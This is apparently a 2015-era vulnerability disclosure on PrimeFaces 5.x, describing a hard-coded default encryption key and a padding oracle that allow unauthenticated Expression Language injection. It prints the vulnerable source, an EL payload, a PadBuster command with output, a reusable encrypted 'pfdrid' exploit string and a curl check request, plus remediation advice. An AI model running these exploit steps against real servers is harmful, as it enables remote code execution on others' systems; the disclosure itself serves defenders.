Disclosure Timeline
PrimeFaces team has been contacted on 20/06/2015 (7 months ago) providing the following details. Unfortunately the vulnerability has still not been fixed.PrimeFaces team was asking us to send a github pull request to the public PrimeFaces github dev group; since public pull requests can be read by anyone, we thought that we could link this public content to inform both developers and final users.
PrimeOracle and PrimeSecret Vulnerability Detail
The following two issues have been successfully exploited against PrimeFaces 5.x and 5.3.x, including but not limited to PrimeFaces 5.3.6 version.The following video shows the impact of these vulnerabilities against a vulnerable Oracle Netbeans 8.0.2 setup with PrimeFaces plugin:
Security issues are cryptographic vulnerabilities that let unauthenticated users to inject arbitrary Expression Language code to PrimeFaces custom EL parser. Both issues have the same sink: EL expression evaluation.
In this post we shared a generic payload to execute a remote interactive command shell via EL .
These two Crypto issues have been called "PrimeSecret" and "PrimeOracle".
Eventually by abusing one of these issues any user can execute arbitrary code on the application server without authentication.
1) PrimeSecret is the default hard-coded passphrase to encrypt several PrimeFaces parameters such as "pfdrid" (by Stefano Di Paola).
2) PrimeOracle is the abuse of a Padding Oracle attack against the internal crypto algorithm that decrypts several parameters such as "pfdrid" (by Giorgio Fedon).
The common vulnerable sink for both security issues is the PrimeFaces Streamed Content Handler that executes EL inline:
/org/primefaces/application/resource/StreamedContentHandler.java
..
String dynamicContentId = (String)
params.get(Constants.DYNAMIC_CONTENT_PARAM);
...
String dynamicContentEL = strEn.decrypt(dynamicContentId);
...
ValueExpression ve =
context.getApplication().getExpressionFactory().createValueExpression(context.getELContext(),
dynamicContentEL, StreametreamedContent.class);
streamedContent = (StreamedContent) ve.getValue(eLContext);
In 2011 a user already reported to the dev team the dangerous impacts of EL injection:
StreamlinedContent is not a new sink to PrimeFaces dev community as clearly stated in that old post. However at that time the issue was much easier to be exploited.
In short we bypassed a partial security fix available in the newer versions of Primefaces to abuse a known vulnerability.
PrimeSecret
Vulnerable Code that leads to PrimeSecret:
file: "/org/primefaces/config/ConfigContainer.java"
// By default encryption Key is the hardcoded string "primefaces"
secretKey = (value == null) ? "primefaces" : value;
PrimeOracle
Vulnerable Code that leads to PrimeOracle:
file: "/org/primefaces/util/StringEncrypter.java"
// 8-bytes Salt <- Static IV
byte[] salt = {
(byte) 0xA9, (byte) 0x9B, (byte) 0xC8, (byte) 0x32,
(byte) 0x56, (byte) 0x34, (byte) 0xE3, (byte) 0x03
};
...
// Padding Oracle vulnerability since the DES cipher is CBC based
// and process encrypted text without verification (e.g. // HMAC)
KeySpec keySpec = new PBEKeySpec(passPhrase.toCharArray(),
salt, iterationCount);
SecretKey key =
SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec);
Exploitation is easy with PadBuster
In the following example we are going to show the exploitation of PrimeOracle issue. PrimeOracle exploit can be seen as a generic way to exploit both issues. With PrimeOracle is possible to obtain a resulting exploit parameter string that can be reused against all targets with the same password.
That resulting string obtained from a host vulnerable to Primesecret, will work against all the target with the default secretKey configuration parameter.
First of all for this exploit to work you need a tool to exploit Padding Oracle Vulnerabilities like the beautiful PadBuster tool from GDS Security. Then you can choose any EL payload to be encrypt using the tool.
In this case the payload we have chosen is:
// Set a response Header with a value of "primesecretchk" Request Parameter
${facesContext.getExternalContext().setResponseHeader("primesecretchk",request.getParameter("primesecretchk"))}
Note: Any EL can be executed: payloads can range from reading user session parameters, to arbitrary code execution that can lead to OS compromise.
Then just launch Padbuster with the following command:
./padBuster.pl
"http://localhost:8085/showcase-5.1/javax.faces.resource/dynamiccontent.properties.xhtml?pfdrt=sc&ln=primefaces&pfdrid=C24UkygWm3HMmnSxmDwoxw%3D%3D"
"C24UkygWm3HMmnSxmDwoxw%3D%3D" 8 -encoding 0 -plaintext
'${facesContext.getExternalContext().setResponseHeader("primesecretchk",request.getParameter("primesecretchk"))}'
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 500
[+] Location: N/A
[+] Content Length: 65766
INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 14
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 500 65715 N/A
2 ** 255 200 0 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :2
-------------------------------------------------------
** Finished ***
[+] Encrypted value is:
wQR45Hj4OwBRgKBtl5v%2FG4elO1lYWl%2BZfvjy1R79FgJ%2F3H%2BKYopezNVswr9KFx%2B8XaKwW6Tq3bG8OxNcX3CjCO5%2F1SsvFbW8gn6BL38vAt03Pz2scc3fGrGm3Vi7A7wdmqDjIu5mWyXWVXipcGirQgAAAAAAAAAA
-------------------------------------------------------
To check if the application is vulnerable:
n0def@n0def-U36SG:~/Desktop/PadBuster-master$
enc="wQR45Hj4OwBRgKBtl5v%2FG4elO1lYWl%2BZfvjy1R79FgJ%2F3H%2BKYopezNVswr9KFx%2B8XaKwW6Tq3bG8OxNcX3CjCO5%2F1SsvFbW8gn6BL38vAt03Pz2scc3fGrGm3Vi7A7wdmqDjIu5mWyXWVXipcGirQgAAAAAAAAAA";
chk="123445456"; curl -X POST
"http://localhost:8085/showcase-5.1/javax.faces.resource/dynamiccontent.properties.xhtml"
-ki -kvvv -d "pfdrt=sc&ln=primefaces&pfdrid=$enc&primesecretchk=$chk"| grep $chk
primesecretchk: 123445456
//Note: the previous request will work against all systems vulnerable to PrimeSecret! Since // has been generated on a host with "primefaces" secretKey
The application is vulnerable because of the new added response header: "primesecretchk: 123445456"
Remediation
Since an official patch is still not available end users and companies can protect their application by disabling StreamedContentHandler.java.Alternatively by filtering incoming requests with pfdrid parameter (value longer than 16bytes and Base64 encoded) and "pfdrt=sc" is possible to mitigate the attack: "pfdrt=sc" calls the vulnerable StreamedContent Method and pfdrid contains the exploit payload.
Isn't enough to change the default "secretKey"?
Unfortunately not: changing the default secretKey is not enough because of the padding oracle vulnerability issue that in this post has been named PrimeOracle.